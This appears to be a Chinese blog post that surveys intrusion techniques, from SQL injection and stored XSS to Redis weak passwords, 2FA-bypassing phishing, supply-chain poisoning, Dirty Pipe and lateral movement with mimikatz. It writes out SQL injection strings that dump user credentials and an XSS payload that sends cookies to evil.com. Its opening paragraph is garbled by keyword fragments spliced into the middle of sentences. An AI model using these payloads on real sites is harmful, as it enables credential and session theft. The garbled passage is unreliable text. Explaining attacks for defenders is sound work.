游客发表
2023年秋天,全入侵技某三甲医院的术和手段挂号系统突然瘫痪了四个小时。不是攻击服务器宕机,也不是全入侵技代码bug——运维人员最后在日志里翻出一串异常请求,来自一个被遗忘的术和手段测试接口,没有鉴权,攻击没有频率限制。全入侵技攻击者用Python写了个二十行的术和手段脚本,每秒往那个接口灌三千次查询,攻击数据库连接池直接被榨干。全入侵技这就是术和手段一次典型的拒绝服务攻击,成本几乎为零,攻击破坏力却实实在在。全入侵技
聊入侵技术,术和手段很多人脑子里蹦出来的攻击是电影里那种绿字黑屏、噼里啪啦敲键盘的画面。现实要无聊得多。大部分攻击能得手,靠的不是什么高深漏洞,而是“没想到”。开发人员没想到有人会去改URL里的参数,运维没想到那个端口真的会被人扫到,产品经理没想到用户会上传一个后缀是.jpg但内容全是PHP代码的文件。
SQL注入算是最经典的之一。原理不复杂:网站把用户输入直接拼进数据库查询语句里。你在搜索框输入 ' OR 1=1 --,如果后端没做过滤,整张用户表就可能被拖出来。我见过一个真实案例,某电商网站的商品详情页URL长这样:product.php?id=108。有人把108改成 108 UNION SELECT username, password FROM users,页面直接把管理员账号密码渲染出来了。这种漏洞在OWASP Top 10里待了十几年,至今没绝迹,因为总有人图省事用字符串拼接。
跨站脚本(XSS)更隐蔽。攻击者往评论区塞一段 <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>,只要有人浏览那条评论,cookie就悄悄发到攻击者服务器上了。存储型XSS尤其麻烦——你不需要诱导受害者点任何链接,他们自己就会看到。早年微博上出现过一波蠕虫,就是靠XSS自动发博文扩散,几小时内感染了几万个账号。
弱口令和暴力破解属于“笨办法但管用”。某次安全演练,团队用Hydra对内部一台Redis服务器跑字典,不到十分钟就进去了——密码是 redis123。更离谱的是,那台机器还开着公网IP。攻击者拿到Redis权限后,往crontab里写了个反向shell,整台机器就归别人了。这种事儿每天都在发生,Shodan上随便搜搜就能找到大量未授权访问的MongoDB、Elasticsearch和Docker API。
钓鱼攻击则是从人下手。2022年有个针对GitHub开发者的钓鱼活动,攻击者伪造了CI/CD的登录页面,域名只差一个字母。受害者输入账号密码和TOTP验证码后,攻击者实时转发到真正的GitHub完成登录,然后立刻生成一个personal access token。整个过程不到三十秒,双因素认证形同虚设。这种叫“中间人钓鱼”,专门破2FA。
还有一类是供应链攻击。你用的npm包、pip包、Docker镜像,任何一个环节被投毒,影响面都是指数级的。event-stream那个包还记得吧?作者把维护权转给了一个陌生人,那人往里面加了一段针对特定钱包的恶意代码,差点偷走大量比特币。代码审计的时候没人注意到,因为它藏在依赖的依赖里。
提权是入侵后的常规操作。假设攻击者通过Web漏洞拿到了一个低权限的www-data shell,下一步就是找SUID文件、内核漏洞或者配置错误的sudo规则。Linux内核的Dirty Pipe(CVE-2022-0847)出来那会儿,几乎影响所有5.8以上的版本,普通用户能直接覆盖只读文件,提权到root就是几条命令的事。
横向移动靠的是内网信任。很多公司外网防得严,内网却像菜市场。攻击者一台机器得手后,用mimikatz抓内存里的明文密码或者NTLM哈希,然后psexec或者wmiexec批量尝试其他机器。域环境里更简单,拿到域管哈希就等于拿到整个网络。勒索软件团伙最喜欢这套,从入口到加密所有文件,有时只需要几个小时。
这些技术没有一样是新的。SQL注入1998年就被公开讨论过,XSS的概念2000年就有了。但工具在进化,自动化程度越来越高。一个脚本小子拿着现成的框架,也能打出组合拳。防守方要堵住所有漏洞,攻击方只需要找到一个没关的窗户。这种不对称,才是安全这行最让人头疼的地方。
友情链接